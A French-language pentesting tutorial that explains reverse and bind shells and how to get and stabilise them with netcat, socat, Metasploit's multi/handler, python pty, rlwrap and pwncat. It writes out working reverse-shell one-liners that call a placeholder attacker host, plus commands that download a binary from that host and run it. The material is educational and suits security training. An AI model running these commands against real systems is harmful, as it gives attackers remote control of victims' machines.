I — Qu'est-ce qu'un shell ?
Dans le contexte du pentesting, un shell désigne un accès en ligne de commande obtenu sur une machine cible après une exploitation réussie. C'est l'objectif final de nombreuses attaques : disposer d'un shell permet d'exécuter des commandes, lire des fichiers, pivoter sur le réseau ou escalader ses privilèges.
Il existe deux grands types de shells :
• Reverse shell — La cible se connecte à l'attaquant. L'attaquant écoute sur un port, la cible initie la connexion sortante vers lui.
• Bind shell — L'attaquant se connecte à la cible. La cible ouvre un port en écoute qui expose un shell, l'attaquant s'y connecte.
À retenir : Le reverse shell est de loin le plus utilisé. Les pare-feux bloquent généralement les connexions entrantes vers une cible, mais autorisent les connexions sortantes — ce que le reverse shell exploite précisément.
II — Reverse shell vs Bind shell
Reverse shell
L'attaquant ouvre un listener (port en écoute). La cible exécute une commande qui crée une connexion sortante vers l'attaquant et lui donne accès à un shell.
nc -lvnp 4444
nc IP_ATTAQUANT 4444 -e /bin/bash
Bind shell
La cible ouvre un port en écoute qui expose directement un shell. L'attaquant s'y connecte ensuite.
nc -lnvp 4444 -e "cmd.exe"
nc IP_CIBLE 4444
Cas d'usage : Le bind shell est utile quand l'attaquant ne peut pas recevoir de connexions entrantes (NAT, réseau restreint). En revanche, il nécessite que la cible soit directement accessible depuis l'attaquant.
III — Netcat
Netcat (nc) est l'outil réseau le plus polyvalent du pentester. Surnommé le couteau suisse du réseau, il permet d'établir des connexions TCP/UDP, d'écouter sur des ports et de transférer des données — dont des shells.
Options principales
• -l — Mode écoute (listen).
• -v — Mode verbose.
• -n — Pas de résolution DNS (plus rapide).
• -p — Spécifier le port.
• -e — Exécuter un programme après connexion (pas disponible sur toutes les versions).
Listener basique
nc -lvnp 4444
Transfert de fichiers
nc -lvnp 4444 > fichier_recu.txt
nc IP_ATTAQUANT 4444
Limitation importante
Le shell obtenu via netcat est souvent non interactif : pas d'historique de commandes, pas de tabulation, pas de raccourcis clavier (Ctrl+C tue la connexion au lieu de l'envoyer au processus distant). C'est pourquoi on cherche toujours à améliorer le shell après l'avoir obtenu.
IV — Socat
Socat est une version beaucoup plus puissante de netcat. Il permet de créer des connexions entre pratiquement n'importe quels types de flux (TCP, UDP, fichiers, processus…) et offre notamment la possibilité d'obtenir des shells complètement interactifs, ce que netcat ne sait pas faire nativement.
Reverse shell avec socat
socat TCP-L:4444 -
socat TCP:IP_ATTAQUANT:4444 EXEC:"bash -li",pty,stderr,sigint,setsid,sane
Shell TTY stable avec socat
En ajoutant les options pty,stderr,sigint,setsid,sane côté cible, socat crée un pseudo-terminal (PTY) — ce qui donne un shell pleinement interactif dès le départ, sans étape d'amélioration supplémentaire.
socat TCP-L:4444 FILE:`tty`,raw,echo=0
socat TCP:IP_ATTAQUANT:4444 EXEC:/bin/bash,pty,stderr,sigint,setsid,sane
Transférer socat sur la cible
Socat n'est pas toujours installé sur la cible. On peut le transférer depuis l'attaquant avec un simple serveur HTTP :
python3 -m http.server 8080
Invoke-WebRequest -Uri http://IP_ATTAQUANT:8080/socat.exe -OutFile socat.exe
wget http://IP_ATTAQUANT:8080/socat -O /tmp/socat && chmod +x /tmp/socat
V — Metasploit : auxiliary/multi/handler
Metasploit est le framework d'exploitation le plus utilisé en pentesting. Pour la gestion des shells, le module auxiliary/multi/handler est l'outil central : il joue le rôle de listener universel capable de réceptionner et centraliser les reverse shells, qu'ils soient issus de payloads Metasploit (Meterpreter) ou de shells classiques.
Mise en place du listener
msfconsole
use auxiliary/multi/handler
set PAYLOAD linux/x86/shell_reverse_tcp
set LHOST IP_ATTAQUANT
set LPORT 4444
run
Payloads courants
• linux/x86/shell_reverse_tcp — Reverse shell Linux simple.
• windows/shell_reverse_tcp — Reverse shell Windows simple.
• linux/x86/meterpreter/reverse_tcp — Meterpreter Linux (shell avancé).
• windows/meterpreter/reverse_tcp — Meterpreter Windows (shell avancé).
Meterpreter vs shell classique : Meterpreter est un payload avancé qui s'exécute entièrement en mémoire, sans créer de fichier sur le disque. Il offre des fonctionnalités supplémentaires : upload/download de fichiers, pivoting, capture de screenshots, keylogger, migration de processus…
VI — Améliorer le shell
Un shell obtenu via netcat est rarement utilisable confortablement : pas de tabulation, pas d'historique, Ctrl+C coupe la connexion. Plusieurs techniques permettent d'obtenir un shell pleinement interactif.
Méthode Python (TTY spawn)
Si Python est disponible sur la cible, c'est la technique la plus rapide pour upgrader un shell basique en TTY :
python3 -c 'import pty; pty.spawn("/bin/bash")'
stty raw -echo; fg
export TERM=xterm
stty rows 38 columns 116
rlwrap
rlwrap est un wrapper qui ajoute l'historique de commandes et l'édition de ligne à n'importe quel programme. C'est la solution la plus simple pour améliorer un listener netcat sans toucher à la cible.
rlwrap nc -lvnp 4444
Avec rlwrap, on peut désormais naviguer dans l'historique avec les flèches, utiliser Ctrl+A/E pour se déplacer en début/fin de ligne, etc. Particulièrement utile pour les shells Windows où la méthode Python n'est pas disponible.
pwncat
pwncat est l'outil le plus avancé pour gérer les reverse shells. Il remplace avantageusement netcat en tant que listener et offre un environnement post-exploitation complet : transfert de fichiers automatique, persistance, gestion de plusieurs sessions, modules d'énumération intégrés.
pip install pwncat-cs
pwncat-cs -lp 4444
pwncat-cs IP_CIBLE:4444
Une fois connecté, pwncat propose deux modes :
• Mode shell — Interaction directe avec le shell de la cible (comme netcat).
• Mode commande (Ctrl+D) — Interface pwncat avec accès aux modules : upload, download, enumerate, implant…
(local) pwncat$ upload /chemin/local /chemin/distant
(local) pwncat$ download /chemin/distant /chemin/local
(local) pwncat$ run enumerate.system
Référence : La documentation complète et les dernières versions de pwncat sont disponibles sur le dépôt GitHub : github.com/calebstewart/pwncat
VII — Récapitulatif
Voici un résumé des outils et techniques couverts dans cette documentation :
• Reverse shell — La cible se connecte à l'attaquant. Contourne les pare-feux entrants. Méthode privilégiée.
• Bind shell — L'attaquant se connecte à la cible. Utile quand l'attaquant ne peut pas recevoir de connexions.
• nc (netcat) — Outil de base pour établir des shells. Simple mais limité (shell non interactif).
• socat — Alternative puissante à netcat, capable de fournir un shell TTY stable nativement.
• multi/handler — Module Metasploit pour centraliser et gérer les reverse shells.
• rlwrap — Ajoute l'historique et l'édition de ligne à un listener netcat.
• python3 pty — Technique rapide pour upgrader un shell basique en TTY interactif.
• pwncat — Listener avancé avec environnement post-exploitation intégré.